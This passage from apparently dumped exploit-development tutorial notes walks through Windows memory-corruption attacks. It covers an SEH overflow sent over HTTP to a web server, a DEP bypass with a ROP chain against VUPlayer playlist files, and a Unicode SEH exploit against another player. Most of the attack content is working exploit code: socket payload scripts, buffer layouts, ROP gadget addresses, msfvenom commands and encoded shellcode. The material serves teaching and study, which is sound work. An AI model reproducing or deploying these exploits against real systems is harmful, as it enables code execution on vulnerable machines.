"A" * BUF_SIZE 75 | 76 | 77 | 78 | request = "GET /vfolder.ghp HTTP/1.1\r\n" 79 | request += "Host: " + host + "\r\n" 80 | request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n" 81 | request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n" 82 | request += "Accept-Language: en-US,en;q=0.5" + "\r\n" 83 | request += "Accept-Encoding: gzip, deflate" + "\r\n" 84 | request += "Referer: " + "http://" + host + "/" + "\r\n" 85 | request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; frmUserPass=;" # Insert buffer here 86 | request += " rememberPass=pass" 87 | request += "\r\n" 88 | request += "Connection: keep-alive" + "\r\n" 89 | request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n" 90 | 91 | print "[*] Connecting to target: " + host 92 | 93 | # Set up our socket connection 94 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 95 | 96 | try: 97 | # Attempt to connect to host 98 | connect = s.connect((host, port)) 99 | print "[*] Successfully connected to: " + host 100 | except: 101 | print "[!] " + host + " didn't respond...\n" 102 | sys.exit(0) 103 | 104 | # Send payload to target 105 | print "[*] Sending payload to target..." 106 | s.send(request + "\r\n\r\n") 107 | print "[!] Payload has been sent!\n" 108 | s.close() 109 | ``` 110 | 111 | ![](Part2-SEHExploit/Part2-SEHExploit1.png) 112 | 113 | ![](Part2-SEHExploit/Part2-SEHExploit2.png) 114 | 115 | ![](Part2-SEHExploit/Part2-SEHExploit3.png) 116 | 117 | 118 | ## Jump to shellcode 119 | 1. Foud SEH offset is 53 (with Mona), fake SEH get called 120 | 121 | 2. Found a pointer to "Pop Pop Ret", Jump to Next SEH 122 | ``` 123 | >!py mona seh 124 | ``` 125 | 126 | Using a code section of the application itself would make our exploit less dependent on OS. 127 | 128 | ** Don't pick a code section which contains \x00, it's EOF in a string and could lead to exploit fail.** 129 | 130 | ![](Part2-SEHExploit/Part2-SEHExploit6.png) 131 | 132 | 3. Found the opcode of Jump 0x10, Jump to Payload 133 | 134 | 135 | We have talked this in [previous blog](Part1-StackOverflow.md), it is "\xeb\x10". 136 | 137 | Since next seh is a 4 bytes pointer, let's pad it to 4 bytes with "\x90\x90". 138 | 139 | ![](Part2-SEHExploit/Part2-SEHExploit7.png) 140 | 141 | 142 | ``` 143 | import socket 144 | import os 145 | import time 146 | import sys 147 | import struct 148 | 149 | 150 | host = "192.168.95.149" 151 | # Port of host 152 | port = 80 153 | BUF_SIZE = 3000 154 | 155 | buf = "/.:/" # Unusual, but needed 156 | # Character pattern buffer to locate SEH offset 157 | buf += "A" * 53 158 | 159 | nseh = "\xeb\x10\x90\x90" 160 | seh = struct.pack(" !py mona jseh 241 | ``` 242 | 243 | ## Ref 244 | 1. http://www.shogunlab.com/blog/2017/11/06/zdzg-windows-exploit-4.html 245 | 2. https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/ -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit0.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit1.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit2.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit3.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit5.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit6.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part2-SEHExploit/Part2-SEHExploit7.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part3-BypassDEPwithROP.md: -------------------------------------------------------------------------------- 1 | # Part3： Bypass DEP with ROP 2 | 3 | ## Get things setup 4 | 1. Win7 X86 5 | 2. [vulnerable software](https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe) 6 | 3. Enable DEP(need to restart computer) 7 | ![](Part3-BypassDEPwithROP/Part3-ROP0.png) 8 | 9 | ## Introduction to DEP 10 | 1. windows系统DEP policy及设置 11 | 12 | ![](Part3-BypassDEPwithROP/Part3-BypassDEPwithROP0.png) 13 | 14 | ``` 15 | bcdedit.exe /set nx OptIn 16 | bcdedit.exe /set nx OptOut 17 | bcdedit.exe /set nx AlwaysOn 18 | bcdedit.exe /set nx AlwaysOff 19 | ``` 20 | 21 | 2. 编译器的/NXCOMPAT选项表示程序期望enbale DEP, 如果此时系统设置为AlwaysOff，也无法enable DEP； 反之，如果程序disable DEP，但系统设置为Opt-Out/Always On, 程序也是受DEP保护的。 22 | 23 | 3. 程序最终的DEP Status有以下三种： 24 | 25 | - Disable 26 | - DEP 27 | - DEP(permanent) 28 | 29 | ![](Part3-BypassDEPwithROP/Part3-BypassDEPwithROP2.png) 30 | 31 | DEP(permanent) 我理解是以下两种情况之一导致的： 32 | 33 | (1)程序本身link with /NXCOMPAT option，且系统当前DEP Policy允许enable DEP 34 | 35 | (2)通过SetProcessDEPPolicy(PROCESS_DEP_ENABLE) enable了DEP 36 | 37 | 38 | ## Bypassing DEP 39 | ** Bellow are some reading notes of [Corelan's paper](https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/)** 40 | 41 | These existing functions will provide us with the following options : 42 | - execute commands (WinExec for example – classic "ret-to-libc") 43 | - mark the page (stack for example) that contains your shellcode as executable (if that is allowed by the active DEP policy) and jump to it 44 | - copy data into executable regions and jump to it. (We *may* have to allocate memory and mark the region as executable first) 45 | - change the DEP settings for the current process before running shellcode 46 | 47 | 48 | 1. VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory 49 | ``` 50 | functions for copy memory: 51 | memcpy() 52 | WriteProcessMemory() 53 | ``` 54 | 55 | 2. HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory 56 | 57 | 3. SetProcessDEPPolicy() 58 | ** has some limitaion when DEP status is "AlwaysOn/AlwaysOff/Permanent DEP", not very clear, just comments here. ** 59 | 60 | This function requires one parameter, and this parameter must be set to 0 to disable DEP for the current process. 61 | 62 | 4. NtSetInformationProcess() 63 | ** has some limitaion when DEP status is "AlwaysOn/AlwaysOff/Permanent DEP", not very clear, just comments here. ** 64 | This function will change the DEP policy for the current process so you can execute your shellcode from the stack. 65 | 66 | ``` 67 | NtSetInformationProcess( 68 | NtCurrentProcess(), // (HANDLE)-1 69 | ProcessExecuteFlags, // 0x22 70 | &ExecuteFlags, // ptr to 0x2 71 | sizeof(ExecuteFlags)); // 0x4 72 | ``` 73 | 74 | 5. VirtualProtect(PAGE_READ_WRITE_EXECUTE) 75 | 76 | 6. WriteProcessMemory() 77 | 78 | This function will allow you to copy your shellcode to another (executable) location so you can jump to it & execute it. During the copy, WriteProcessMemory() will temporarily mark the location as writeable, you only have to make sure the target destination is executable. 79 | 80 | 81 | - WPM Technique 1 : full WPM() call 82 | 83 | After the copy, WriteProcessMemory() will mark the location as unwritable. If your shellcode prepends with a decoder, it will not work. Consider prepends with a call to virtualprotect or so, to mark the current region as writable / executable 84 | 85 | 86 | - WPM Technique 2 : patch WPM() itself 87 | ![](Part3-BypassDEPwithROP/Part3-BypassDEPwithROP3.png) 88 | 89 | 90 | In order to call windows API to change the access protection level, we need to pass a number of parameters to them, and these parameters need to sit at the top of the stack at the time the function gets called. 91 | 92 | There are a few ways to do this: 93 | - We can put the required values in registers and then issue a pushad (which will put everything on the stack in one time). 94 | - A second technique would be to put some of the parameters (the static ones/the ones without null bytes) on the stack already, and use some ROP gadgets to calculate the other parameters and write them onto the stack (using some kind of sniper technique). 95 | 96 | ![](Part3-BypassDEPwithROP/Part3-BypassDEPwithROP4.png) 97 | 98 | ``` 99 | stack pivot instructions: 100 | add esp, offset + ret 101 | mov esp, register + ret 102 | xchg register,esp + ret 103 | call register (if a register points to data you control) 104 | mov reg,[ebp+0c] + call reg (or other references to seh record) 105 | push reg + pop esp + ret (if you control ‘reg’) 106 | mov reg, dword ptr fs:[0] + … + ret (set esp indirectly, via SEH record) 107 | 108 | ROP NOP: 109 | pointers which point to #RET 110 | 111 | ``` 112 | 113 | 114 | ## Crash POC 115 | ``` 116 | import struct 117 | 118 | buf_size = 3000 119 | 120 | buf = 'A' * buf_size 121 | 122 | print "[+] Creating .m3u file of size "+ str(len(buf)) 123 | 124 | file = open('vuplayer-dep.m3u','w'); 125 | file.write(buf); 126 | file.close(); 127 | 128 | print "[+] Done creating the file" 129 | ``` 130 | 131 | ![](Part3-BypassDEPwithROP/Part3-ROP1.png) 132 | 133 | ## Data Execution Prevention 134 | Use mona to customize our exploit. 135 | 136 | ``` 137 | > !py mona pattern_offset 138 | > !py jmp -r esp 139 | ``` 140 | 141 | ``` 142 | import struct 143 | 144 | buf_size = 3000 145 | 146 | 147 | junk = "A"*1012 148 | eip = struct.pack(" mona.py rop -cpb '\x00' 211 | ``` 212 | 213 | ``` 214 | def create_rop_chain(): 215 | 216 | # rop chain generated with mona.py - www.corelan.be 217 | rop_gadgets = [ 218 | 0x1001d892, # POP EBP # RETN [BASS.dll] 219 | 0x1001d892, # skip 4 bytes [BASS.dll] 220 | 0x10015f77, # POP EAX # RETN [BASS.dll] 221 | 0xfffffdff, # Value to negate, will become 0x00000201 222 | 0x10014db4, # NEG EAX # RETN [BASS.dll] 223 | 0x10032f32, # XCHG EAX,EBX # RETN 0x00 [BASS.dll] 224 | 0x10015f82, # POP EAX # RETN [BASS.dll] 225 | 0xffffffc0, # Value to negate, will become 0x00000040 226 | 0x10014db4, # NEG EAX # RETN [BASS.dll] 227 | 0x10038a6c, # XCHG EAX,EDX # RETN [BASS.dll] 228 | 0x106040c0, # POP ECX # RETN [BASSMIDI.dll] 229 | 0x1010892e, # &Writable location [BASSWMA.dll] 230 | 0x10603658, # POP EDI # RETN [BASSMIDI.dll] 231 | 0x1001dc05, # RETN (ROP NOP) [BASS.dll] 232 | 0x10606b61, # POP ESI # RETN [BASSMIDI.dll] 233 | 0x100177e4, # JMP [EAX] [BASS.dll] 234 | 0x10015f82, # POP EAX # RETN [BASS.dll] 235 | 0x10040284, # ptr to &VirtualProtect() [IAT BASS.dll] 236 | 0x1001d7a5, # PUSHAD # RETN [BASS.dll] 237 | 0x100222c5, # ptr to 'jmp esp' [BASS.dll] 238 | ] 239 | return ''.join(struct.pack(' mona.py seh -cp unicode 35 | ``` 36 | 37 | 2. Find the execute harmless instructions for nSEH 38 | 39 | Short jump instruction was used to jump over SEH to shellcode, in this case, we can use the execute harmless instructions to walk over nSEH and SEH. 40 | 41 | For example, if nSEH = "\x61\x6E" and the location pointed by esi is writable, 42 | 43 | here is the Unicode format 44 | ``` 45 | \x61 popads 46 | 47 | \x00\x72\x00 add byte ptr [edx],dh 48 | ``` 49 | 50 | As we can see, "\x72" could "eat away" the null bytes and make the exploit run harmless, just like Nops. Besides, "\x61" is a useful instruction, let's talk it later. 51 | 52 | You can choose one of the following instructions depends on your case. 53 | 54 | ``` 55 | 00 6E 00:add byte ptr [esi],ch 56 | 00 6F 00:add byte ptr [edi],ch 57 | 00 70 00:add byte ptr [eax],dh 58 | 00 71 00:add byte ptr [ecx],dh 59 | 00 72 00:add byte ptr [edx],dh 60 | 00 73 00:add byte ptr [ebx],dh 61 | (62, 6d are 2 others that can be used – be creative & see what works for you) 62 | ``` 63 | 64 | 65 | 3. To walk over SEH, we have to make sure "Pop Pop Ret" pointer is harmless too. 66 | 67 | ## Let's start it! Walk Over SEH 68 | 69 | ![](Part4-From0x00410041toCalc/Part4-From0x00410041toCalc2.png) 70 | 71 | ``` 72 | buffer_size = 5000 73 | 74 | junk = "A" * 536 75 | nSEH = "\x61\x72" 76 | SEH = "\x41\x4a" 77 | 78 | buffer = junk + nSEH + SEH 79 | buffer += "\xCC" * (buffer_size - len(buffer)) 80 | 81 | try: 82 | print "[+] Creating exploit file.." 83 | exploit = open('triologic.m3u','w'); 84 | exploit.write(buffer); 85 | exploit.close(); 86 | print "[+] Writing", len(buffer), "bytes to triologic.m3u" 87 | print "[+] Exploit file created!" 88 | except: 89 | print "[-] Error: You do not have correct permissions.." 90 | ``` 91 | 92 | ![](Part4-From0x00410041toCalc/Part4-From0x00410041toCalc3.png) 93 | 94 | ## Jump to Shellcode 95 | 96 | ![](Part4-From0x00410041toCalc/Part4-From0x00410041toCalc4.png) 97 | 98 | So we decide to put shellcode at 0x0012e370. 99 | 100 | - with a register which closes the shellcode 101 | ``` 102 | buffer_size = 5000 103 | 104 | junk = "A" * 536 105 | nSEH = "\x61\x72" 106 | SEH = "\x41\x4a" 107 | jump = "\x53" # push ebx 108 | jump += "\x72" # add byte ptr [edx],dh 109 | jump += "\x58" # pop eax 110 | jump += "\x72" 111 | jump += "\x05\x14\x11" #add eax,11001400h 112 | jump += "\x72" 113 | jump += "\x2d\x13\x11" #sub eax,11001300h 114 | jump += "\x72" 115 | jump += "\x50" # push eax 116 | jump += "\x72" 117 | jump += "\xc3" # ret 118 | 119 | buffer = junk + nSEH + SEH + jump 120 | buffer += "A"*109 # junk 121 | buffer += "C" * 200 # mock shellcode 122 | buffer += "\xCC" * (buffer_size - len(buffer)) 123 | ``` 124 | 125 | - with good stuff on the stack 126 | 127 | ``` 128 | buffer_size = 5000 129 | 130 | junk = "A" * 536 131 | nSEH = "\x61\x72" 132 | SEH = "\x41\x4a" 133 | 134 | jump = "\x58" # pop eax 135 | jump += "\x72" 136 | jump += "\x05\x14\x11" #add eax,11001400h 137 | jump += "\x72" 138 | jump += "\x2d\x13\x11" #sub eax,11001300h 139 | jump += "\x72" 140 | jump += "\x50" # push eax 141 | jump += "\x72" 142 | jump += "\xc3" # ret 143 | 144 | buffer = junk + nSEH + SEH + jump 145 | buffer += "A"*111 # junk 146 | buffer += "C" * 200 # mock shellcode 147 | buffer += "\xCC" * (buffer_size - len(buffer)) 148 | ``` 149 | 150 | ![](Part4-From0x00410041toCalc/Part4-From0x00410041toCalc5.png) 151 | 152 | ## Run Shellcode 153 | There are 2 approaches to run shellcode in this work. 154 | 155 | 1. find an ASCII equivalent and jump to it 156 | 157 | The ASCII shellcode which we fed into the application likely exists somewhere in memory, find out and jump to run it. 158 | 159 | 2. Use a decoder 160 | 161 | encode your ASCII exploit, prepend with a Unicode compatible decoder. 162 | 163 | sounds easy but hard to code? Don't worry, we have two free tools. 164 | 165 | - [vense.pl](http://www.phenoelit-us.org/win/) 166 | 167 | Decode the shellcode to a new location, then jump to execute it. 168 | 169 | you need to specify two registers, one points to the beginning of decoder+shellcode, the other points to a writable location for new shellcode. 170 | 171 | - [alpha2 ](http://packetstormsecurity.org/shellcode/alpha2.tar.gz) 172 | 173 | Decode the shellcode in-place and execute it, you only need one register that points to the beginning of decoder+shellcode. 174 | 175 | Since alpha2 was adopted in Metasploit, let's use alpha2 to encode shellcode. suggest eax points to the beginning of decoder 176 | 177 | ``` 178 | msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -b '\x00' -f python 179 | ``` 180 | 181 | 182 | ## put them together 183 | 184 | ``` 185 | buffer_size = 5000 186 | 187 | junk = "A" * 536 188 | nSEH = "\x61\x72" 189 | SEH = "\x41\x4a" 190 | 191 | jump = "\x58" # pop eax 192 | jump += "\x72" 193 | jump += "\x05\x14\x11" #add eax,11001400h 194 | jump += "\x72" 195 | jump += "\x2d\x13\x11" #sub eax,11001300h 196 | jump += "\x72" 197 | jump += "\x50" # push eax 198 | jump += "\x72" 199 | jump += "\xc3" # ret 200 | 201 | buffer = junk + nSEH + SEH + jump 202 | buffer += "A"*111 # junk 203 | 204 | buffer += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51" 205 | buffer += "\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44" 206 | buffer += "\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41" 207 | buffer += "\x51\x41\x49\x41\x51\x41\x50\x41\x35\x41\x41\x41\x50" 208 | buffer += "\x41\x5a\x31\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31" 209 | buffer += "\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41\x50" 210 | buffer += "\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49" 211 | buffer += "\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51" 212 | buffer += "\x49\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42" 213 | buffer += "\x41\x42\x33\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b" 214 | buffer += "\x4c\x49\x58\x55\x32\x4b\x50\x4b\x50\x4d\x30\x51\x50" 215 | buffer += "\x55\x39\x39\x55\x30\x31\x49\x30\x53\x34\x44\x4b\x42" 216 | buffer += "\x30\x50\x30\x34\x4b\x42\x32\x4c\x4c\x54\x4b\x31\x42" 217 | buffer += "\x4d\x44\x54\x4b\x44\x32\x4e\x48\x4c\x4f\x58\x37\x4f" 218 | buffer += "\x5a\x4e\x46\x50\x31\x4b\x4f\x46\x4c\x4f\x4c\x51\x51" 219 | buffer += "\x33\x4c\x4b\x52\x4e\x4c\x4f\x30\x39\x31\x38\x4f\x4c" 220 | buffer += "\x4d\x4b\x51\x47\x57\x59\x52\x4c\x32\x52\x32\x51\x47" 221 | buffer += "\x44\x4b\x51\x42\x4e\x30\x54\x4b\x50\x4a\x4f\x4c\x54" 222 | buffer += "\x4b\x30\x4c\x4c\x51\x32\x58\x4b\x33\x30\x48\x4b\x51" 223 | buffer += "\x4a\x31\x32\x31\x54\x4b\x30\x59\x4f\x30\x4d\x31\x38" 224 | buffer += "\x53\x34\x4b\x4f\x59\x4e\x38\x39\x53\x4e\x5a\x30\x49" 225 | buffer += "\x44\x4b\x4e\x54\x34\x4b\x4d\x31\x4a\x36\x30\x31\x4b" 226 | buffer += "\x4f\x36\x4c\x37\x51\x48\x4f\x4c\x4d\x4d\x31\x38\x47" 227 | buffer += "\x50\x38\x4b\x30\x53\x45\x4b\x46\x4b\x53\x33\x4d\x4a" 228 | buffer += "\x58\x4f\x4b\x33\x4d\x4f\x34\x34\x35\x4a\x44\x42\x38" 229 | buffer += "\x44\x4b\x30\x58\x4f\x34\x4b\x51\x39\x43\x53\x36\x54" 230 | buffer += "\x4b\x4c\x4c\x30\x4b\x54\x4b\x42\x38\x4d\x4c\x4b\x51" 231 | buffer += "\x48\x53\x44\x4b\x4d\x34\x54\x4b\x4b\x51\x4a\x30\x33" 232 | buffer += "\x59\x31\x34\x4f\x34\x4d\x54\x51\x4b\x31\x4b\x51\x51" 233 | buffer += "\x30\x59\x31\x4a\x32\x31\x4b\x4f\x4b\x30\x51\x4f\x51" 234 | buffer += "\x4f\x31\x4a\x54\x4b\x4c\x52\x5a\x4b\x54\x4d\x31\x4d" 235 | buffer += "\x42\x4a\x4d\x31\x44\x4d\x35\x35\x46\x52\x4d\x30\x4b" 236 | buffer += "\x50\x4b\x50\x30\x50\x32\x48\x4e\x51\x54\x4b\x52\x4f" 237 | buffer += "\x54\x47\x4b\x4f\x48\x55\x57\x4b\x4a\x50\x46\x55\x47" 238 | buffer += "\x32\x32\x36\x32\x48\x47\x36\x35\x45\x57\x4d\x35\x4d" 239 | buffer += "\x4b\x4f\x48\x55\x4f\x4c\x4d\x36\x33\x4c\x4b\x5a\x35" 240 | buffer += "\x30\x4b\x4b\x39\x50\x44\x35\x4c\x45\x37\x4b\x31\x37" 241 | buffer += "\x4e\x33\x54\x32\x42\x4f\x51\x5a\x4b\x50\x32\x33\x4b" 242 | buffer += "\x4f\x48\x55\x32\x43\x31\x51\x42\x4c\x42\x43\x4e\x4e" 243 | buffer += "\x31\x55\x32\x58\x53\x35\x4b\x50\x41\x41" 244 | buffer += "\xCC" * (buffer_size - len(buffer)) 245 | 246 | try: 247 | print "[+] Creating exploit file.." 248 | exploit = open('triologic.m3u','w'); 249 | exploit.write(buffer); 250 | exploit.close(); 251 | print "[+] Writing", len(buffer), "bytes to triologic.m3u" 252 | print "[+] Exploit file created!" 253 | except: 254 | print "[-] Error: You do not have correct permissions.." 255 | 256 | ``` 257 | 258 | 259 | ![](Part4-From0x00410041toCalc/Part4-From0x00410041toCalc6.png) 260 | 261 | ## Ref 262 | 1. https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/ 263 | 2. http://www.fuzzysecurity.com/tutorials/expDev/5.html 264 | 265 | 266 | -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc0.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc1.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc2.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc3.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc4.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc5.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part4-From0x00410041toCalc/Part4-From0x00410041toCalc6.png --------------------------------------------------------------------------------